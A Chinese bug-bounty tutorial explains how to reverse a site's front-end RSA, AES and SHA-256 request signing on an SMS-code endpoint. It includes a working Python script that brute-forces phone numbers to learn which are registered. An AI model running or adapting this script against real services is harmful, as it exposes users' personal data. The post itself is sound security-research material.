小工具      在线工具  汉语词典  css  js  c++  java

实际挖洞中的信息泄露与前端加密

前端,web安全,安全 额外说明

收录于:40天前

前言

本文不是关于密码学的,也不会详细阐述算法流程/代码逻辑,因为没有意义。实战中一定是具体问题具体分析,所以了解一下大概的流程就可以了。

在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!

如果网站请求时有前端加密,很可能是常规的AES或RSA(比如之前的京东/Bilibili)。所以我写了一篇文章来整理一下我的想法。

来源

前几天挖坑的时候,看到有人发验证码。

先跑一百个请求,发包没有限制,说明有办法!

但问题来了。请求体是这样的。显然是前端加密的。想要爆款,首先要弄清楚加密逻辑。

打开F12,发现控制台正在输出一些东西。

再看一下资源文件。如果给chunk文件添加索引,就可以直接进入index.js文件。

然后就是要找到具体位置了,科尼1表哥给出了一些好办法,详情见快速定位前端加密方法

可惜这个网站不太好用,所以只能慢慢找。

一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKeyencrypt

如果压缩后的代码看腻了,可以尝试使用http://jsnice.org/来美化一下。

不要用手撕js,那会变得不幸。

首先打开F12,点击开源代码,点击一个js文件,然后点击左下角的美化按钮

代码看起来好多了

尝试性的搜了下encrypt,位置大概就被我找到了。

这里有很多个函数,如encodeRSAdecodeRSAgetKeyRSADefaultencodeAESdecodeAESgetKeyAESsignature这种函数名,可以说是再明显不过的提示了。

分析

经过无尽的折磨,我渐渐明白了一切。

0.演示版

先了解一下JSEncrypt库,十分简单

import JSEncrypt from 'jsencrypt'

//加密
var encryptor = new JSEncrypt()
var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----'
encryptor.setPublicKey(pubKey)//设置公钥
var rsaPassWord = encryptor.encrypt('要加密的内容')

//解密
var decrypt = new JSEncrypt()
var priKey  = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----'
decrypt.setPrivateKey(priKey)//设置秘钥
var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容

1.RSA

首先在疑似RSA加密的位置的结尾下个断点,

为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合学到的知识/经验去推断这个函数的作用。

我们不是来这里做密码问题的,我们只是来这里挖洞的。

然后你会发现右边有很多参数。

好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了

s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是:

function() {
    o = new JSEncrypt();
    o.setPublicKey(a);
    return o.encrypt(t)
}

你看,其实就是普通的RSA加密!

而且RSA 公钥也给了,就是参数a

然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。

在 F12 控制台中执行它会输出类似的结果。

JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。

扔到CyberChef先放着,待会有用。

加密完成,是时候尝试解密了。解密需要私钥。一般前端加密的话,公钥会直接放在JS中。如果需要解密,私钥也可以放在这里。

随便看了一眼,下面是公钥和私钥。我将此公钥与上一个断点后运行的公钥进行了比较,它们是正确的。

这样就可以解密了。

2.AES

接下来是 AES。同样,检查下一个断点以查看结果。

能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。

并且还给出了AES相关参数:

初始向量:1234567812345678,CBC模式,零填充。

AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx

解码也是如此。毕竟是对称加密。

3.SHA-256

SHA-2,名称来源于Secure Hash Algorithm 2的缩写,是一种加密哈希函数算法标准,是SHA算法之一,是SHA-1的后继者。又可进一步分为六种不同的算法标准,包括:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256

这是最后的涟漪,也是最复杂的部分。

还是同样的思路,但是由于输入参数很难猜测,所以我在同一行添加了多个断点来查看参数变化。这是一个非常好的技巧!如下图所示,每个蓝色三角形都是一个断点。

在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n

之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:

{clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=1647409240148, secret=test, timestamp=20220316014040}

好的,接下来我们验证一下

这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9

输出正确,说明正确:

看下图的请求体,做最后的总结。

1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey

2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData

3.clientIdrequestIdtimestamp不影响。这三个参数并未参与密码运算,可以任意更改。

4.将所有参数融合进行SHA256加密来签名。

爆破

分析完成后,即可开始爆破。

有两种方法可以做到这一点:

1. 编写Python代码。因为思路清晰,加密逻辑简单,用手揉搓就可以了。

2.写JavaScript代码,配合科尼1表哥的插件https://github.com/c0ny1/jsEncrypter。

这里我选择1,具体代码如下:

import hashlib
import urllib3
import requests
import base64
from Crypto.Cipher import AES

urllib3.disable_warnings()

# aes的key和初始向量
key = 'PHVDHENXNREOEVON'
vi = '1234567812345678'
url = ""
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",
           "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
           "Sec-Ch-Ua-Mobile": "?0",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
           "Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",
           "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


def AES_Encrypt(data):
    global key
    global vi
    pad = lambda s: s + (16 - len(s) % 16) * chr(0)
    data = pad(data)
    # 字符串补位
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    encryptedbytes = cipher.encrypt(data.encode('utf8'))
    # 加密后得到的是bytes类型的数据
    encodestrs = base64.b64encode(encryptedbytes)
    # 使用Base64进行编码,返回byte字符串
    enctext = encodestrs.decode('utf8')
    # 对byte字符串按utf-8进行解码
    return enctext


def AES_Decrypt(data):
    global key
    global vi
    data = data.encode('utf8')
    encodebytes = base64.decodebytes(data)
    # 将加密数据转换位bytes类型数据
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    text_decrypted = cipher.decrypt(encodebytes)
    text_decrypted = text_decrypted.rstrip(b'\0')
    # 去补位
    text_decrypted = text_decrypted.decode('utf8')
    return text_decrypted


def sha256(text):
    return hashlib.sha256(text.encode()).hexdigest()


phone_list = []
with open('test-phone.txt', 'r', encoding='utf8') as f:
    for i in f:
        phone_list.append(i.strip())

for i in phone_list:
    requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
    encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
    sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
        encodeKey, requestsData)
    sign = sha256(sign_exp)
    json = {"clientId": "1",
            "encodeKey": encodeKey,
            "requestData": requestsData, "requestId": "1",
            "sign": sign, "timestamp": "1"}
    res = requests.post(url, headers=headers, json=json, verify=False)
    try:
        result = AES_Decrypt(res.text.strip())
        if '该手机号未查询到用户' in result:
            print("未注册" + i)
        else:
            print("查询到了:" + i)
    except Exception as e:
        print(e)
        print(res.text)
        exit()

代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。

因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。

我还尝试向 CNVD 提交了其中两个手机号码爆破漏洞。一份已存档,另一份被拒绝。界定信息泄露的边界确实很困难。

声明:作者初衷是为了分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。和田网络安全实验室与原作者与本文无关。本文为和田网络安全实验室原创。如需转载,请注明出处!

. . .

相关推荐

额外说明

Python selenium 删除了“隐藏正在被自动化测试软件控制”

以前使用selenium控制Chrome时,当出现“Chrome 正在受到自动软件的控制”信息栏的情况,会增加"disable-infobars”这个ChromeOption去取消显示这个信息栏,但现在,“disable-infobars” 选项已被弃用

额外说明

解决阿里云服务器使用docker部署web项目及具体配置文件遇到的问题

所使用到的docker容器 jdk1.8 nginx1.19 redis5.0 mysql5.7 项目所用到的docker-compose文件 jdk version: "3" services: febsshiro: container_n

额外说明

Java 中的原始类型、泛型、无限通配符类型

前言: 如何通过泛型,消除Type safety的警告,使得代码更优雅?本文将介绍Java对象的三种类型,了解三中类型的区别,根据情境,灵活运用。 一.原始类型 List<>为原始类型,但不指定元素类型,会出现不安全的警告:List is a raw t

额外说明

Android版本更新教程及源码

需求:Android App版本更新功能,整合了网上资源,做个Demo。点击自动判断是否是最新版本,若有最新版发布在服务器上,则提示下载安装。 源码下载:点击下载 1.效果: 2.代码说明: 2.1:调用方法: 在app端,找到你的click事件中,调用

额外说明

C# 38.启动线程的各种方法

ThreadStart myThreadStart = new ThreadStart(ThreadFunction); Thread myThread = new Thread(myThreadStart ); myThread.Start(); pu

额外说明

REDIS17_源码分类、SDS底层原理说明、INT编码格式、EMBSTR编码格式、RAW编码格式

文章目录 ①. C语言源代码的核心部分 ②. KV键值对到底是什么 ③. 从set hello world说起 ④. String - 3大编码格式 ⑤. String - 重新设置SDS ⑥. 三大编码 - INT编码格式 ⑦. 三大编码 - EMBS

额外说明

Flutter移动应用开发实战——控制流程语句

QQ 1274510382 Wechat JNZ_aming 商业联盟 QQ群538250800 技术搞事 QQ群599020441 解决方案 QQ群152889761 加入我们 QQ群649347320 共享学习 QQ群674240731 纪年科技am

额外说明

Java基础:128陷阱之Integer缓存源码研究

Java中Integer的缓存实现 在Java 5中,对于Integer的操作引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。 适用于整数值区间-128 至 +127。 只适用于自动装箱。使用构造函数创建对象不适用。

额外说明

【Java 基础篇】深入理解 Java 内部类:嵌套在嵌套中的编程奇妙世界

在 Java 编程中,内部类(Inner Class)是一个非常强大且灵活的概念,它允许在一个类的内部定义另一个类。内部类可以访问外部类的成员,包括私有成员,这使得内部类在许多编程场景中都非常有用。本篇博客将详细介绍 Java 中的内部类,包括成员内部类

ads via 小工具